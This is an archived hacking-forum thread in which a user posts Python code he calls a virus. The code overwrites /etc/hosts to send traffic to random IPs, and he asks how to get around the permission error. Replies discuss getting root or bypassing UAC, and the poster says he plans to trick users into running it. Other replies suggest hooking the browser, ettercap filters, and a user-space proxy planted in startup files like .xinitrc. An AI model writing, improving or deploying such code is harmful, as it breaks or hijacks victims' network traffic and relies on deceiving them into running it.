This forum is in archive mode. You will not be able to post new content.

Author Topic: [Python] Ultimate Redirector (Virus)  (Read 1566 times)

0 Members and 1 Guest are viewing this topic.

Offline parad0x

  • VIP
  • Royal Highness
  • *
  • Posts: 638
  • Cookies: 118
    • View Profile
[Python] Ultimate Redirector (Virus)
« on: July 27, 2013, 11:59:15 AM »
Well, I got the idea of writing a virus that redirects you to a random ip whenever you try to visit any site, you'll be redirected to any random website. I have written the code so far but whenever I run this, it says, "You do not have permission to edit this file.". I want to ask, how to make this bypass this and write to this file?


Code: (Python) [Select]

import time
import random


def fake_ip():
    part1 = int(random.random() * 1000)
    part2 = int(random.random() * 1000)
    part3 = int(random.random() * 1000)
    part4 = int(random.random() * 1000)


    while part1 > 255:
        part1 = int(random.random() * 1000)


    while part2 > 255:
        part2 = int(random.random() * 1000)


    while part3 > 255:
        part3 = int(random.random() * 1000)


    while part4 > 254:
        part4 = int(random.random() * 1000)


    ip = str(part1) + "." + str(part2) + "." + str(part3) + "." + str(part4)


    return ip


def real_ip():
    i = 1
    start = time.time()
    file = open("/etc/hosts", 'w')
    print("Virus by parad0x\nInfecting...")
    while i < 2:
        if i == 2:
            break
        global ip
        ip = fake_ip()
        part2 = 0
        part3 = 0
        part4 = 0
        real  = str(i) + "." + str(part2) + '.' + str(part3)  + '.' + str(part4)
   
        while part4 < 2:
            part4 += 1
            real  = str(i) + "." + str(part2) + '.' + str(part3)  + '.' + str(part4)
            ip = fake_ip()
            file.write( ip + " " + real + "\n")
        while part3 < 2:
            part3 += 1
            part4 = 0
            while part4 < 2:
                part4 +=1
                real  = str(i) + "." + str(part2) + '.' + str(part3)  + '.' + str(part4)
                ip = fake_ip()
                file.write(ip + " " + real + "\n")
       


        while part2 < 2:
            part2 += 1
            part3 = 0
            part4 = 0
            while part3 < 2:
                part3 += 1
                part4 = 0
                while part4 < 2:
                    part4 +=1
                    real  = str(i) + "." + str(part2) + '.' + str(part3)  + '.' + str(part4)
                    ip = fake_ip()
                    file.write(ip + " " + real + "\n")
        i += 1
    file.close()
    end = time.time()
    print("Infected!")
    print("Total time taken : " + str(end - start) + " seconds.")


def main():
    real_ip()


main()



Offline proxx

  • Avatarception
  • Global Moderator
  • Titan
  • *
  • Posts: 2803
  • Cookies: 256
  • ФФФ
    • View Profile
Re: [Python] Ultimate Redirector (Virus)
« Reply #1 on: July 27, 2013, 12:01:58 PM »
Attacking the hosts file is a very old and common method.
Windows protects it and so does any antivirus or alike.
The fact that it will blow all whistles and bells makes it useless..

Only administrator can edit it.

Its good thinking, dont take me wrong.
« Last Edit: July 27, 2013, 12:04:30 PM by proxx »
Wtf where you thinking with that signature? - Phage.
This was another little experiment *evillaughter - Proxx.
Evilception... - Phage

Offline Kulverstukas

  • Administrator
  • Zeus
  • *
  • Posts: 6627
  • Cookies: 542
  • Fascist dictator
    • View Profile
    • My blog
Re: [Python] Ultimate Redirector (Virus)
« Reply #2 on: July 27, 2013, 02:24:59 PM »
Indeed this method is very old. If you want to get uber l33t, you can make it hook into the browser and analyze the traffic as it goes, modifying packets and redirecting stuff :P
I don't know how doable this is, but you can try :P look into ettercap filters for some ideas.

Offline vezzy

  • Royal Highness
  • ****
  • Posts: 771
  • Cookies: 172
    • View Profile
Re: [Python] Ultimate Redirector (Virus)
« Reply #3 on: July 27, 2013, 03:13:07 PM »
For Windows, if you find a way to get past UAC, this could be moderately useful, but as the previous posters said: old technique.
Quote from: Dippy hippy
Just brushing though. I will be semi active mainly came to find a HQ botnet, like THOR or just any p2p botnet

Offline proxx

  • Avatarception
  • Global Moderator
  • Titan
  • *
  • Posts: 2803
  • Cookies: 256
  • ФФФ
    • View Profile
Re: [Python] Ultimate Redirector (Virus)
« Reply #4 on: July 27, 2013, 04:28:22 PM »
Indeed this method is very old. If you want to get uber l33t, you can make it hook into the browser and analyze the traffic as it goes, modifying packets and redirecting stuff :P
I don't know how doable this is, but you can try :P look into ettercap filters for some ideas.

Aswel as Paros proxy and Burp suite.
Wtf where you thinking with that signature? - Phage.
This was another little experiment *evillaughter - Proxx.
Evilception... - Phage

Offline Thor

  • Serf
  • *
  • Posts: 29
  • Cookies: 15
  • whoami?
    • View Profile
Re: [Python] Ultimate Redirector (Virus)
« Reply #5 on: July 30, 2013, 05:44:39 AM »
It is saying "You do not have permission to edit this file." because only superuser (root) can modify /etc/hosts.

If you run your script as root you shouldn't get this error.
They who can give up essential liberty to obtain a little temporary safety, deserve neither liberty nor safety.

Offline proxx

  • Avatarception
  • Global Moderator
  • Titan
  • *
  • Posts: 2803
  • Cookies: 256
  • ФФФ
    • View Profile
Re: [Python] Ultimate Redirector (Virus)
« Reply #6 on: July 30, 2013, 06:18:24 AM »
lmfao,
I Assumed windows for a second here :)

On linux its indeed true that you need to be root to edit the file.
Interestingly sudo is by default not permitted to edit this.
I believe this is a distro depended issue, for example debian is much stricter when it comes to sec.
Correct me if Im wrong here.

Wtf where you thinking with that signature? - Phage.
This was another little experiment *evillaughter - Proxx.
Evilception... - Phage

Offline parad0x

  • VIP
  • Royal Highness
  • *
  • Posts: 638
  • Cookies: 118
    • View Profile
Re: [Python] Ultimate Redirector (Virus)
« Reply #7 on: August 01, 2013, 03:00:49 PM »
Attacking the hosts file is a very old and common method.
Windows protects it and so does any antivirus or alike.
The fact that it will blow all whistles and bells makes it useless..

Only administrator can edit it.

Its good thinking, dont take me wrong.
I won't take you wrong. Instead, I'll learn what kulver said to make it a better(or worse for victims) virus.


I posted it to know what amendments should I do to make it better.


But Kulver, what you said is somewhat hard, don't you think?


It is saying "You do not have permission to edit this file." because only superuser (root) can modify /etc/hosts.

If you run your script as root you shouldn't get this error.
I know this dude, I asked as all *nix users don't use root all time, only the administrator uses root.
But  if I say, its a nice hacking tool and you need to run this, you won't ask the admin to run that thing as he'll probably know what's there.;)
« Last Edit: August 01, 2013, 03:03:22 PM by parad0x »

Offline proxx

  • Avatarception
  • Global Moderator
  • Titan
  • *
  • Posts: 2803
  • Cookies: 256
  • ФФФ
    • View Profile
Re: [Python] Ultimate Redirector (Virus)
« Reply #8 on: August 01, 2013, 03:13:57 PM »
I won't take you wrong. Instead, I'll learn what kulver said to make it a better(or worse for victims) virus.


I posted it to know what amendments should I do to make it better.


But Kulver, what you said is somewhat hard, don't you think?

I know this dude, I asked as all *nix users don't use root all time, only the administrator uses root.
But  if I say, its a nice hacking tool and you need to run this, you won't ask the admin to run that thing as he'll probably know what's there. ;)

If you want to do userbased shit;
One is able to do certain proxy settings for a bash shell.
In fact you could apply that to the entire user space if its ran at startup.
Files like .xinitrc or some of the magic behind the GUI logins are writeable by the by regular user in most cases.
You could do something that lets all the requests made launch through that proxy.
To make it more fun you could take some basic proxy scripts(write own?) and have them relay that traffic to random IP addresses.

*Just throwing around some ideas*
« Last Edit: August 01, 2013, 03:14:42 PM by proxx »
Wtf where you thinking with that signature? - Phage.
This was another little experiment *evillaughter - Proxx.
Evilception... - Phage

 



Want to be here? Contact Ande, Factionwars or Kulverstukas on the forum or at IRC.